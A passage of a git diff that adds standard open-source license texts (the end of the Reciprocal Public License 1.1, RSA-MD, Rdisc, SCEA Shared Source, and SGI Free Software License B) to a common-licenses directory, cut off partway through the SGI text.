+ a. Third Party Claims. If You have knowledge that a license to a third party's intellectual property right is required to exercise the rights granted by this License, You must include a text file with the Source Code distribution titled "LEGAL" that describes the claim and the party making the claim in sufficient detail that a recipient will know whom to contact. If You obtain such knowledge after You make any Extensions available as described in Section 6.1, You shall promptly modify the LEGAL file in all copies You make available thereafter and shall take other steps (such as notifying appropriate mailing lists or newsgroups) reasonably calculated to inform those who received the Licensed Software from You that new knowledge has been obtained.
+
+ b. Contributor APIs. If Your Extensions include an application programming interface ("API") and You have knowledge of patent licenses that are reasonably necessary to implement that API, You must also include this information in the LEGAL file.
+
+ c. Representations. You represent that, except as disclosed pursuant to 6.3(a) above, You believe that any Extensions You distribute are Your original creations and that You have sufficient rights to grant the rights conveyed by this License.
+
+ 6.4 Required Notices.
+
+ a. License Text. You must duplicate this License in any documentation You provide along with the Source Code of any Extensions You create or to which You contribute, wherever You describe recipients' rights relating to Licensed Software. You must duplicate the notice contained in EXHIBIT A (the "Notice") in each file of the Source Code of any copy You distribute of the Licensed Software and Your Extensions. If You create an Extension, You may add Your name as a Contributor to the text file titled "CONTRIB" distributed with the Licensed Software along with a description of the contribution. If it is not possible to put the Notice in a particular Source Code file due to its structure, then You must include such Notice in a location (such as a relevant directory file) where a user would be likely to look for such a notice.
+
+ b. Source Code Availability. You must notify Licensor within one (1) month of the date You initially Deploy of the availability of Source Code to Your Extensions and include in such notification the name under which you Deployed Your Extensions, a description of the Extensions, and instructions on how to acquire the Source Code, including instructions on how to acquire updates over time. Should such instructions change you must provide Licensor with revised instructions within one (1) month of the date of change. Should you be unable to notify Licensor directly, you must provide notification by posting to appropriate news groups, mailing lists, or web sites where a search engine would reasonably be expected to index them.
+
+ 6.5 Additional Terms. You may choose to offer, and charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Licensed Software. However, You may do so only on Your own behalf, and not on behalf of the Licensor or any Contributor. You must make it clear that any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Licensor and every Contributor for any liability plus attorney fees, costs, and related expenses due to any such action or claim incurred by the Licensor or such Contributor as a result of warranty, support, indemnity or liability terms You offer.
+
+ 6.6 Conflicts With Other Licenses. Where any portion of Your Extensions, by virtue of being Derivative Works of another product or similar circumstance, fall under the terms of another license, the terms of that license should be honored however You must also make Your Extensions available under this License. If the terms of this License continue to conflict with the terms of the other license you may write the Licensor for permission to resolve the conflict in a fashion that remains consistent with the intent of this License. Such permission will be granted at the sole discretion of the Licensor.
+
+7.0 Versions of This License. Licensor may publish from time to time revised and/or new versions of the License. Once Licensed Software has been published under a particular version of the License, You may always continue to use it under the terms of that version. You may also choose to use such Licensed Software under the terms of any subsequent version of the License published by Licensor. No one other than Licensor has the right to modify the terms applicable to Licensed Software created under this License.
+
+ 7.1 If You create or use a modified version of this License, which You may do only in order to apply it to software that is not already Licensed Software under this License, You must rename Your license so that it is not confusingly similar to this License, and must make it clear that Your license contains terms that differ from this License. In so naming Your license, You may not use any trademark of Licensor or of any Contributor. Should Your modifications to this License be limited to alteration of EXHIBIT A purely for purposes of adjusting the Notice You require of licensees, You may continue to refer to Your License as the Reciprocal Public License or simply the RPL.
+
+8.0 Disclaimer of Warranty. LICENSED SOFTWARE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE LICENSED SOFTWARE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. FURTHER THERE IS NO WARRANTY MADE AND ALL IMPLIED WARRANTIES ARE DISCLAIMED THAT THE LICENSED SOFTWARE MEETS OR COMPLIES WITH ANY DESCRIPTION OF PERFORMANCE OR OPERATION, SAID COMPATIBILITY AND SUITABILITY BEING YOUR RESPONSIBILITY. LICENSOR DISCLAIMS ANY WARRANTY, IMPLIED OR EXPRESSED, THAT ANY CONTRIBUTOR'S EXTENSIONS MEET ANY STANDARD OF COMPATIBILITY OR DESCRIPTION OF PERFORMANCE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE LICENSED SOFTWARE IS WITH YOU. SHOULD LICENSED SOFTWARE PROVE DEFECTIVE IN ANY RESPECT, YOU (AND NOT THE LICENSOR OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. UNDER THE TERMS OF THIS LICENSOR WILL NOT SUPPORT THIS SOFTWARE AND IS UNDER NO OBLIGATION TO ISSUE UPDATES TO THIS SOFTWARE. LICENSOR HAS NO KNOWLEDGE OF ERRANT CODE OR VIRUS IN THIS SOFTWARE, BUT DOES NOT WARRANT THAT THE SOFTWARE IS FREE FROM SUCH ERRORS OR VIRUSES. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF LICENSED SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+9.0 Limitation of Liability. UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL THE LICENSOR, ANY CONTRIBUTOR, OR ANY DISTRIBUTOR OF LICENSED SOFTWARE, OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+10.0 High Risk Activities. THE LICENSED SOFTWARE IS NOT FAULT-TOLERANT AND IS NOT DESIGNED, MANUFACTURED, OR INTENDED FOR USE OR DISTRIBUTION AS ON-LINE CONTROL EQUIPMENT IN HAZARDOUS ENVIRONMENTS REQUIRING FAIL-SAFE PERFORMANCE, SUCH AS IN THE OPERATION OF NUCLEAR FACILITIES, AIRCRAFT NAVIGATION OR COMMUNICATIONS SYSTEMS, AIR TRAFFIC CONTROL, DIRECT LIFE SUPPORT MACHINES, OR WEAPONS SYSTEMS, IN WHICH THE FAILURE OF THE LICENSED SOFTWARE COULD LEAD DIRECTLY TO DEATH, PERSONAL INJURY, OR SEVERE PHYSICAL OR ENVIRONMENTAL DAMAGE ("HIGH RISK ACTIVITIES"). LICENSOR AND CONTRIBUTORS SPECIFICALLY DISCLAIM ANY EXPRESS OR IMPLIED WARRANTY OF FITNESS FOR HIGH RISK ACTIVITIES.
+
+11.0 Responsibility for Claims. As between Licensor and Contributors, each party is responsible for claims and damages arising, directly or indirectly, out of its utilization of rights under this License which specifically disclaims warranties and limits any liability of the Licensor. This paragraph is to be used in conjunction with and controlled by the Disclaimer Of Warranties of Section 8, the Limitation Of Damages in Section 9, and the disclaimer against use for High Risk Activities in Section 10. The Licensor has thereby disclaimed all warranties and limited any damages that it is or may be liable for. You agree to work with Licensor and Contributors to distribute such responsibility on an equitable basis consistent with the terms of this License including Sections 8, 9, and 10. Nothing herein is intended or shall be deemed to constitute any admission of liability.
+
+12.0 Termination. This License and all rights granted hereunder will terminate immediately in the event of the circumstances described in Section 13.6 or if applicable law prohibits or restricts You from fully and or specifically complying with Sections 3, 4 and/or 6, or prevents the enforceability of any of those Sections, and You must immediately discontinue any use of Licensed Software.
+
+ 12.1 Automatic Termination Upon Breach. This License and the rights granted hereunder will terminate automatically if You fail to comply with the terms herein and fail to cure such breach within thirty (30) days of becoming aware of the breach. All sublicenses to the Licensed Software that are properly granted shall survive any termination of this License. Provisions that, by their nature, must remain in effect beyond the termination of this License, shall survive.
+
+ 12.2 Termination Upon Assertion of Patent Infringement. If You initiate litigation by asserting a patent infringement claim (excluding declaratory judgment actions) against Licensor or a Contributor (Licensor or Contributor against whom You file such an action is referred to herein as "Respondent") alleging that Licensed Software directly or indirectly infringes any patent, then any and all rights granted by such Respondent to You under Sections 3 or 4 of this License shall terminate prospectively upon sixty (60) days notice from Respondent (the "Notice Period") unless within that Notice Period You either agree in writing (i) to pay Respondent a mutually agreeable reasonably royalty for Your past or future use of Licensed Software made by such Respondent, or (ii) withdraw Your litigation claim with respect to Licensed Software against such Respondent. If within said Notice Period a reasonable royalty and payment arrangement are not mutually agreed upon in writing by the parties or the litigation claim is not withdrawn, the rights granted by Licensor to You under Sections 3 and 4 automatically terminate at the expiration of said Notice Period.
+
+ 12.3 Reasonable Value of This License. If You assert a patent infringement claim against Respondent alleging that Licensed Software directly or indirectly infringes any patent where such claim is resolved (such as by license or settlement) prior to the initiation of patent infringement litigation, then the reasonable value of the licenses granted by said Respondent under Sections 3 and 4 shall be taken into account in determining the amount or value of any payment or license.
+
+ 12.4 No Retroactive Effect of Termination. In the event of termination under this Section all end user license agreements (excluding licenses to distributors and resellers) that have been validly granted by You or any distributor hereunder prior to termination shall survive termination.
+
+13.0 Miscellaneous.
+
+ 13.1 U.S. Government End Users. The Licensed Software is a "commercial item," as that term is defined in 48 C.F.R. 2.101 (Oct. 1995), consisting of "commercial computer software" and "commercial computer software documentation," as such terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995), all U.S. Government End Users acquire Licensed Software with only those rights set forth herein.
+
+ 13.2 Relationship of Parties. This License will not be construed as creating an agency, partnership, joint venture, or any other form of legal association between or among You, Licensor, or any Contributor, and You will not represent to the contrary, whether expressly, by implication, appearance, or otherwise.
+
+ 13.3 Independent Development. Nothing in this License will impair Licensor's right to acquire, license, develop, subcontract, market, or distribute technology or products that perform the same or similar functions as, or otherwise compete with, Extensions that You may develop, produce, market, or distribute.
+
+ 13.4 Consent To Breach Not Waiver. Failure by Licensor or Contributor to enforce any provision of this License will not be deemed a waiver of future enforcement of that or any other provision.
+
+ 13.5 Severability. This License represents the complete agreement concerning the subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable.
+
+ 13.6 Inability to Comply Due to Statute or Regulation. If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Licensed Software due to statute, judicial order, or regulation, then You cannot use, modify, or distribute the software.
+
+ 13.7 Export Restrictions. You may be restricted with respect to downloading or otherwise acquiring, exporting, or reexporting the Licensed Software or any underlying information or technology by United States and other applicable laws and regulations. By downloading or by otherwise obtaining the Licensed Software, You are agreeing to be responsible for compliance with all applicable laws and regulations.
+
+ 13.8 Arbitration, Jurisdiction & Venue. This License shall be governed by Colorado law provisions (except to the extent applicable law, if any, provides otherwise), excluding its conflict-of-law provisions. You expressly agree that any dispute relating to this License shall be submitted to binding arbitration under the rules then prevailing of the American Arbitration Association. You further agree that Adams County, Colorado USA is proper venue and grant such arbitration proceeding jurisdiction as may be appropriate for purposes of resolving any dispute under this License. Judgement upon any award made in arbitration may be entered and enforced in any court of competent jurisdiction. The arbitrator shall award attorney's fees and costs of arbitration to the prevailing party. Should either party find it necessary to enforce its arbitration award or seek specific performance of such award in a civil court of competent jurisdiction, the prevailing party shall be entitled to reasonable attorney's fees and costs. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. You and Licensor expressly waive any rights to a jury trial in any litigation concerning Licensed Software or this License. Any law or regulation that provides that the language of a contract shall be construed against the drafter shall not apply to this License.
+
+ 13.9 Entire Agreement. This License constitutes the entire agreement between the parties with respect to the subject matter hereof.
+
+EXHIBIT A
+
+The Notice below must appear in each file of the Source Code of any copy You distribute of the Licensed Software or any Extensions thereto, except as may be modified as allowed under the terms of Section 7.1
+Copyright (C) 1999-2002 Technical Pursuit Inc., All Rights Reserved. Patent Pending, Technical Pursuit Inc.
+
+Unless explicitly acquired and licensed from Licensor under the Technical Pursuit License ("TPL") Version 1.0 or greater, the contents of this file are subject to the Reciprocal Public License ("RPL") Version 1.1, or subsequent versions as allowed by the RPL, and You may not copy or use this file in either source code or executable form, except in compliance with the terms and conditions of the RPL.
+You may obtain a copy of both the TPL and the RPL (the "Licenses") from Technical Pursuit Inc. at http://www.technicalpursuit.com.
+
+All software distributed under the Licenses is provided strictly on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESS OR IMPLIED, AND TECHNICAL PURSUIT INC. HEREBY DISCLAIMS ALL SUCH WARRANTIES, INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT, OR NON-INFRINGEMENT. See the Licenses for specific language governing rights and limitations under the Licenses.
diff --git a/meta/files/common-licenses/RSA-MD b/meta/files/common-licenses/RSA-MD
new file mode 100644
index 0000000000..a8be92883f
--- /dev/null
+++ b/meta/files/common-licenses/RSA-MD
@@ -0,0 +1,9 @@
+Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All rights reserved.
+
+License to copy and use this software is granted provided that it is identified as the "RSA Data Security, Inc. MD5 Message-Digest Algorithm" in all material mentioning or referencing this software or this function.
+
+License is also granted to make and use derivative works provided that such works are identified as "derived from the RSA Data Security, Inc. MD5 Message-Digest Algorithm" in all material mentioning or referencing the derived work.
+
+RSA Data Security, Inc. makes no representations concerning either the merchantability of this software or the suitability of this software for any particular purpose. It is provided "as is" without express or implied warranty of any kind.
+
+These notices must be retained in any copies of any part of this documentation and/or software.
diff --git a/meta/files/common-licenses/Rdisc b/meta/files/common-licenses/Rdisc
new file mode 100644
index 0000000000..04104beca8
--- /dev/null
+++ b/meta/files/common-licenses/Rdisc
@@ -0,0 +1,13 @@
+Rdisc (this program) was developed by Sun Microsystems, Inc. and is provided for unrestricted use provided that this legend is included on all tape media and as a part of the software program in whole or part. Users may copy or modify Rdisc without charge, and they may freely distribute it.
+
+RDISC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE.
+
+Rdisc is provided with no support and without any obligation on the part of Sun Microsystems, Inc. to assist in its use, correction, modification or enhancement.
+
+SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY RDISC OR ANY PART THEREOF.
+
+In no event will Sun Microsystems, Inc. be liable for any lost revenue or profits or other special, indirect and consequential damages, even if Sun has been advised of the possibility of such damages.
+
+Sun Microsystems, Inc.
+2550 Garcia Avenue
+Mountain View, California 94043
diff --git a/meta/files/common-licenses/SCEA b/meta/files/common-licenses/SCEA
new file mode 100644
index 0000000000..48892757e9
--- /dev/null
+++ b/meta/files/common-licenses/SCEA
@@ -0,0 +1,60 @@
+SCEA Shared Source License 1.0
+
+Terms and Conditions:
+
+1. Definitions:
+
+"Software" shall mean the software and related documentation, whether in Source or Object Form, made available under this SCEA Shared Source license ("License"), that is indicated by a copyright notice file included in the source files or attached or accompanying the source files.
+
+"Licensor" shall mean Sony Computer Entertainment America, Inc. (herein "SCEA")
+
+"Object Code" or "Object Form" shall mean any form that results from translation or transformation of Source Code, including but not limited to compiled object code or conversions to other forms intended for machine execution.
+"Source Code" or "Source Form" shall have the plain meaning generally accepted in the software industry, including but not limited to software source code, documentation source, header and configuration files.
+
+"You" or "Your" shall mean you as an individual or as a company, or whichever form under which you are exercising rights under this License.
+
+2. License Grant.
+
+Licensor hereby grants to You, free of charge subject to the terms and conditions of this License, an irrevocable, non-exclusive, worldwide, perpetual, and royalty-free license to use, modify, reproduce, distribute, publicly perform or display the Software in Object or Source Form .
+
+3. No Right to File for Patent.
+In exchange for the rights that are granted to You free of charge under this License, You agree that You will not file for any patent application, seek copyright protection or take any other action that might otherwise impair the ownership rights in and to the Software that may belong to SCEA or any of the other contributors/authors of the Software.
+
+4. Contributions.
+
+SCEA welcomes contributions in form of modifications, optimizations, tools or documentation designed to improve or expand the performance and scope of the Software (collectively "Contributions"). Per the terms of this License You are free to modify the Software and those modifications would belong to You. You may however wish to donate Your Contributions to SCEA for consideration for inclusion into the Software. For the avoidance of doubt, if You elect to send Your Contributions to SCEA, You are doing so voluntarily and are giving the Contributions to SCEA and its parent company Sony Computer Entertainment, Inc., free of charge, to use, modify or distribute in any form or in any manner. SCEA acknowledges that if You make a donation of Your Contributions to SCEA, such Contributions shall not exclusively belong to SCEA or its parent company and such donation shall not be to Your exclusion. SCEA, in its sole discretion, shall determine whether or not to include Your donated Contributions into the Software, in whole, in part, or as modified by SCEA. Should SCEA elect to include any such Contributions into the Software, it shall do so at its own risk and may elect to give credit or special thanks to any such contributors in the attached copyright notice. However, if any of Your contributions are included into the Software, they will become part of the Software and will be distributed under the terms and conditions of this License. Further, if Your donated Contributions are integrated into the Software then Sony Computer Entertainment, Inc. shall become the copyright owner of the Software now containing Your contributions and SCEA would be the Licensor.
+
+5. Redistribution in Source Form
+
+You may redistribute copies of the Software, modifications or derivatives thereof in Source Code Form, provided that You:
+
+ a. Include a copy of this License and any copyright notices with source
+
+ b. Identify modifications if any were made to the Software
+
+ c. Include a copy of all documentation accompanying the Software and modifications made by You
+
+6. Redistribution in Object Form
+
+If You redistribute copies of the Software, modifications or derivatives thereof in Object Form only (as incorporated into finished goods, i.e. end user applications) then You will not have a duty to include any copies of the code, this License, copyright notices, other attributions or documentation.
+
+7. No Warranty
+
+THE SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT ANY REPRESENTATIONS OR WARRANTIES OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY, OR FITNESS FOR A PARTICULAR PURPOSE. YOU ARE SOLELY RESPONSIBLE FOR DETERMINING THE APPROPRIATENESS OF USING, MODIFYING OR REDISTRIBUTING THE SOFTWARE AND ASSUME ANY RISKS ASSOCIATED WITH YOUR EXERCISE OF PERMISSIONS UNDER THIS LICENSE.
+
+8. Limitation of Liability
+
+UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY WILL EITHER PARTY BE LIABLE TO THE OTHER PARTY OR ANY THIRD PARTY FOR ANY DIRECT, INDIRECT, CONSEQUENTIAL, SPECIAL, INCIDENTAL, OR EXEMPLARY DAMAGES WITH RESPECT TO ANY INJURY, LOSS, OR DAMAGE, ARISING UNDER OR IN CONNECTION WITH THIS LETTER AGREEMENT, WHETHER FORESEEABLE OR UNFORESEEABLE, EVEN IF SUCH PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH INJURY, LOSS, OR DAMAGE. THE LIMITATIONS OF LIABILITY SET FORTH IN THIS SECTION SHALL APPLY TO THE FULLEST EXTENT PERMISSIBLE AT LAW OR ANY GOVERMENTAL REGULATIONS.
+
+9. Governing Law and Consent to Jurisdiction
+
+This Agreement shall be governed by and interpreted in accordance with the laws of the State of California, excluding that body of law related to choice of laws, and of the United States of America. Any action or proceeding brought to enforce the terms of this Agreement or to adjudicate any dispute arising hereunder shall be brought in the Superior Court of the County of San Mateo, State of California or the United States District Court for the Northern District of California. Each of the parties hereby submits itself to the exclusive jurisdiction and venue of such courts for purposes of any such action. In addition, each party hereby waives the right to a jury trial in any action or proceeding related to this Agreement.
+
+10. Copyright Notice for Redistribution of Source Code
+
+Copyright 2005 Sony Computer Entertainment Inc.
+
+Licensed under the SCEA Shared Source License, Version 1.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at:
+http://research.scea.com/scea_shared_source_license.html
+
+Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
diff --git a/meta/files/common-licenses/SGI-B-1.0 b/meta/files/common-licenses/SGI-B-1.0
new file mode 100644
index 0000000000..0c0fcce29a
--- /dev/null
+++ b/meta/files/common-licenses/SGI-B-1.0
@@ -0,0 +1,82 @@
+SGI FREE SOFTWARE LICENSE B
+(Version 1.0 1/25/2000)
+
+1. Definitions.
+
+ 1.1 "Additional Notice Provisions" means such additional provisions as appear in the Notice in Original Code under the heading "Additional Notice Provisions."
+
+ 1.2 "API" means an application programming interface established by SGI in conjunction with the Original Code.
+
+ 1.3 "Covered Code" means the Original Code or Modifications or the combination of the Original Code and Modifications, in each case including portions thereof.
+
+ 1.4 "Hardware" means any physical device that accepts input, processes input, stores the results of processing, and/or provides output.
+
+ 1.5 "Larger Work" means a work which combines Covered Code or portions thereof with code not governed by the terms of this License.
+
+ 1.6 "Licensable" means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently acquired, any and all of the rights conveyed herein.
+
+ 1.7 "License" means this document.
+
+ 1.8 "Modifications" means any addition to the substance or structure of the Original Code and/or any addition to or deletion from previous Modifications. When Covered Code is released as a series of files, a Modification is:
+
+ A. Any addition to the contents of a file containing Original Code and/or any addition to or deletion from previous Modifications.
+
+ B. Any new file that contains any part of the Original Code or previous Modifications.
+
+ 1.9 "Notice" means any notice in Original Code or Covered Code, as required by and in compliance with this License.
+
+ 1.10 "Original Code" means source code of computer software code which is described in the source code Notice required by Exhibit A as Original Code, and updates and error corrections specifically thereto.
+
+ 1.11 "Recipient" means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 8. For legal entities, "Recipient" includes any entity which controls, is controlled by, or is under common control with Recipient. For purposes of this definition, "control" of an entity means (a) the power, direct or indirect, to direct or manage such entity, or (b) ownership of fifty percent (50%) or more of the outstanding shares or beneficial ownership of such entity.
+
+ 1.12 SGI" means Silicon Graphics, Inc.
+
+2. License Grant and Restrictions.
+
+ 2.1v License Grant. Subject to the provisions of this License and any third party intellectual property claims, for the duration of intellectual property protections inherent in the Original Code, SGI hereby grants Recipient a worldwide, royalty-free, non-exclusive license, to do the following: (i) under copyrights Licensable by SGI, to reproduce, distribute, create derivative works from, and, to the extent applicable, display and perform the Original Code alone and/or as part of a Larger Work; and (ii) under any patent claims Licensable by SGI and embodied in the Original Code, to make, have made, use, practice, sell, and offer for sale, and/or otherwise dispose of the Original Code. Recipient accepts the terms and conditions of this License by undertaking any of the aforementioned actions.
+
+ 2.2 Restriction on Patent License. Notwithstanding the provisions of Section 2.1(ii), no patent license is granted: 1) separate from the Original Code; nor 2) for infringements caused by (i) modification of the Original Code, or (ii) the combination of the Original Code with other software or Hardware.
+
+ 2.3 No License For Hardware Implementations. The licenses granted in Section 2.1 are not applicable to implementation in Hardware of the algorithms embodied in the Original Code.
+
+ 2.4 Modifications License and API Compliance. Modifications are only licensed under Section 2.1(i) to the extent such Modifications are fully compliant with any API as may be identified in Additional Notice Provisions as appear in the Original Code.
+
+3. Redistributions.
+
+ A. Retention of Notice/Copy of License. The Notice set forth in Exhibit A, below, must be conspicuously retained or included in any and all redistributions of Covered Code. For distributions of the Covered Code in source code form, the Notice must appear in every file that can include a text comments field; in executable form, the Notice and a copy of this License must appear in related documentation or collateral where the Recipient’s rights relating to Covered Code are described. Any Additional Notice Provisions which actually appears in the Original Code must also be retained or included in any and all redistributions of Covered Code.
+
+ B. Alternative License. Provided that Recipient is in compliance with the terms of this License, Recipient may distribute the source code and/or executable version(s) of Covered Code under (1) this License; (2) a license identical to this License but for only such changes as are necessary in order to clarify Recipient’s role as licensor of Modifications, without derogation of any of SGI’s rights; and/or (3) a license of Recipient’s choosing, containing terms different from this License, provided that the license terms include this Section 3 and Sections 4, 6, 7, 10, 12, and 13, which terms may not be modified or superseded by any other terms of such license. If Recipient elects to use any license other than this License, Recipient must make it absolutely clear that any of its terms which differ from this License are offered by Recipient alone, and not by SGI.
+
+ C. Indemnity. Recipient hereby agrees to indemnify SGI for any liability incurred by SGI as a result of any such alternative license terms Recipient offers.
+
+4. Termination. This License and the rights granted hereunder will terminate automatically if Recipient breaches any term herein and fails to cure such breach within 30 days thereof. Any sublicense to the Covered Code that is properly granted shall survive any termination of this License, absent termination by the terms of such sublicense. Provisions that, by their nature, must remain in effect beyond the termination of this License, shall survive.
+
+5. No Trademark Or Other Rights. This License does not grant any rights to: (i) any software apart from the Covered Code, nor shall any other rights or licenses not expressly granted hereunder arise by implication, estoppel or otherwise with respect to the Covered Code; (ii) any trade name, trademark or service mark whatsoever, including without limitation any related right for purposes of endorsement or promotion of products derived from the Covered Code, without prior written permission of SGI; or (iii) any title to or ownership of the Original Code, which shall at all times remains with SGI. All rights in the Original Code not expressly granted under this License are reserved.
+
+6. Compliance with Laws; Non-Infringement. Recipient hereby assures that it shall comply with all applicable laws, regulations, and executive orders, in connection with any and all dispositions of Covered Code, including but not limited to, all export, re-export, and import control laws, regulations, and executive orders, of the U.S. government and other countries. Recipient may not distribute Covered Code that (i) in any way infringes (directly or contributorily) the rights (including patent, copyright, trade secret, trademark or other intellectual property rights of any kind) of any other person or entity or (ii) breaches any representation or warranty, express, implied or statutory, to which, under any applicable law, it might be deemed to have been subject.
+
+7. Claims of Infringement. If Recipient learns of any third party claim that any disposition of Covered Code and/or functionality wholly or partially infringes the third party's intellectual property rights, Recipient will promptly notify SGI of such claim.
+
+8. Versions of the License. SGI may publish revised and/or new versions of the License from time to time, each with a distinguishing version number. Once Covered Code has been published under a particular version of the License, Recipient may, for the duration of the license, continue to use it under the terms of that version, or choose to use such Covered Code under the terms of any subsequent version published by SGI. Subject to the provisions of Sections 3 and 4 of this License, only SGI may modify the terms applicable to Covered Code created under this License.
+
+9. DISCLAIMER OF WARRANTY. COVERED CODE IS PROVIDED "AS IS." ALL EXPRESS AND IMPLIED WARRANTIES AND CONDITIONS ARE DISCLAIMED, INCLUDING, WITHOUT LIMITATION, ANY IMPLIED WARRANTIES AND CONDITIONS OF MERCHANTABILITY, SATISFACTORY QUALITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. SGI ASSUMES NO RISK AS TO THE QUALITY AND PERFORMANCE OF THE SOFTWARE. SHOULD THE SOFTWARE PROVE DEFECTIVE IN ANY RESPECT, SGI ASSUMES NO COST OR LIABILITY FOR SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY IS AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT SUBJECT TO THIS DISCLAIMER.
+
+10. LIMITATION OF LIABILITY. UNDER NO CIRCUMSTANCES NOR LEGAL THEORY, WHETHER TORT (INCLUDING, WITHOUT LIMITATION, NEGLIGENCE OR STRICT LIABILITY), CONTRACT, OR OTHERWISE, SHALL SGI OR ANY SGI LICENSOR BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, LOSS OF DATA, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SGI's NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THAT EXCLUSION AND LIMITATION MAY NOT APPLY TO RECIPIENT.
+
+11. Indemnity. Recipient shall be solely responsible for damages arising, directly or indirectly, out of its utilization of rights under this License. Recipient will defend, indemnify and hold harmless Silicon Graphics, Inc. from and against any loss, liability, damages, costs or expenses (including the payment of reasonable attorneys fees) arising out of Recipient's use, modification, reproduction and distribution of the Covered Code or out of any representation or warranty made by Recipient.
+
+12. U.S. Government End Users. The Covered Code is a "commercial item" consisting of "commercial computer software" as such terms are defined in title 48 of the Code of Federal Regulations and all U.S. Government End Users acquire only the rights set forth in this License and are subject to the terms of this License.
+
+13. Miscellaneous. This License represents the complete agreement concerning the its subject matter. If any provision of this License is held to be unenforceable, such provision shall be reformed so as to achieve as nearly as possible the same legal and economic effect as the original provision and the remainder of this License will remain in effect. This License shall be governed by and construed in accordance with the laws of the United States and the State of California as applied to agreements entered into and to be performed entirely within California between California residents. Any litigation relating to this License shall be subject to the exclusive jurisdiction of the Federal Courts of the Northern District of California (or, absent subject matter jurisdiction in such courts, the courts of the State of California), with venue lying exclusively in Santa Clara County, California, with the losing party responsible for costs, including without limitation, court costs and reasonable attorneys fees and expenses. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not apply to this License.
+
+Exhibit A
+
+License Applicability. Except to the extent portions of this file are made subject to an alternative license as permitted in the SGI Free Software License B, Version 1.0 (the "License"), the contents of this file are subject only to the provisions of the License. You may not use this file except in compliance with the License. You may obtain a copy of the License at Silicon Graphics, Inc., attn: Legal Services, 1600 Ampitheatre Parkway, Mountain View, CA 94043-1351, or at:
